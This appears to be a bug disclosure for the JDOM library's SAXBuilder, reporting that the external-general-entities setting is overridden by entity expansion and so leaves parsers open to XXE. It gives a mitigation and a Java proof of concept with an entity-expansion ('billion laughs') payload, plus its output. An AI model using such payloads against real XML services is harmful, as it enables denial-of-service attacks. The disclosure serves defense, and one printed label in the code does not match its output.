While working with the JDOM library, We have found a bug in SAXBuilder class that might lead to an XXE vulnerability. According to OWASP, to avoid XXE vulnerability, we need to configure the parser not to allow external entities by using setFeature() method with the following values:
parser.setFeature("http://xml.org/sax/features/external-general-entities", false).
We have found that it does not matter which value is set in this feature. Whether it is true or false, external-general-entities will use the value from the Expand Entity.
Our suggested code fix is that setting user-specified features should be done after the set entity expansion. Since that user-specified configuration should have higher priority to avoid XXE.
Our mitigation, until a version fix is out, is to add configuration for ExpandEntity that should protect the parser from XXE:
builder.setExpandEntities(false);
Exploit example for the XXE bomb attack(billion laughs attack):
void test_SAXBuilder(HttpServletRequest request, HttpServletResponse response) throws IOException {
String xmlParam = "<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY bar \"World \">
<!ENTITY t1 \"&bar;&bar;\"><!ENTITY t2 \"&t1;&t1;&t1;&t1;\">
<!ENTITY t3 \"&t2;&t2;&t2;&t2;&t2;\">]><foo>Hello &t3;</foo>";
try {
// disallow-doctype-decl is set to true and after parsing will hold value true
SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://xml.org/sax/features/external-general-entities", true);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//builder.setExpandEntities(false);
Document doc = builder.build(new InputSource(new StringReader(xmlParam)));
String s="";
for ( Content content : doc.getContent()) {
s += content.getValue();
}
response.getWriter().println("external-general-entities: true, content: " + s);
} catch (JDOMException e) {
}
try {
// disallow-doctype-decl is set to false and after parsing will hold value true
SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//builder.setExpandEntities(false);
Document doc = builder.build(new InputSource(new StringReader(xmlParam)));
String s="";
for ( Content content : doc.getContent()) {
s += content.getValue();
}
response.getWriter().println("external-general-entities: false, content: " + s);
} catch (JDOMException e) {
}
try {
// disallow-doctype-decl is set to true and after parsing will hold value false
// due to expandEntity value
SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://xml.org/sax/features/external-general-entities", true);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
builder.setExpandEntities(false);
Document doc = builder.build(new InputSource(new StringReader(xmlParam)));
String s="";
for ( Content content : doc.getContent()) {
s += content.getValue();
}
response.getWriter().println("external-general-entities: true, ExpandEntities: false, content: " + s);
} catch (JDOMException e) {
}
try {
// disallow-doctype-decl is set to true and after parsing will hold value false
// due to expandEntity value
SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
builder.setExpandEntities(false);
Document doc = builder.build(new InputSource(new StringReader(xmlParam)));
String s="";
for ( Content content : doc.getContent()) {
s += content.getValue();
}
response.getWriter().println("external-general-entities: true, ExpandEntities: false, content: " + s);
} catch (JDOMException e) {
}
}
The output html is:
<html>
<body>
external-general-entities: true, content: Hello World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World
external-general-entities: false, content: Hello World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World
external-general-entities: true, ExpandEntities: false, content: Hello
external-general-entities: false, ExpandEntities: false, content: Hello
</body>
</html>